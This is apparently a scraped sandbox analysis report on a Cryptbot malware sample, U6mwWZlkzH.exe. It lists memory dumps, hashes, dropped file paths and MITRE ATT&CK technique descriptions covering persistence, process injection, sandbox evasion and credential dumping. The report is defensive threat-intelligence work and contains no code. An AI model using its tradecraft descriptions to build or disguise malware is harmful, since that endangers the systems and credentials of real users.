Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: d338b24697147b9cff52490efeffe42d9aea63619afa9cd5407b294b8105fbcc
Instruction ID: 942d948994e741d726f417d7bceb654b08159466d499ee46198aacff118d0f87
Opcode Fuzzy Hash: d338b24697147b9cff52490efeffe42d9aea63619afa9cd5407b294b8105fbcc
Instruction Fuzzy Hash: 57F0A4B19043118FDB00BFB9E9C960A7BB4EB46254F0602B8DE7447314E770A549CBA3

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report U6mwWZlkzH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_U6mwWZlkzH.exe_f7fb4c10208cfdc3cd9512ad03820e37fe8ae54_ee3ae181_122b33b1-66cb-4e42-a21a-31da483c82fe\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8ABC.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C44.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER8C74.tmp.xml

C:\Users\user\AppData\Local\Temp\dlEmjynrOeqkpoHZKKOr.dll

C:\Users\user\AppData\Local\Temp\service123.exe

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

Windows Analysis Report
U6mwWZlkzH.exe

Function 0052116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Function 005215B0 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 121
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre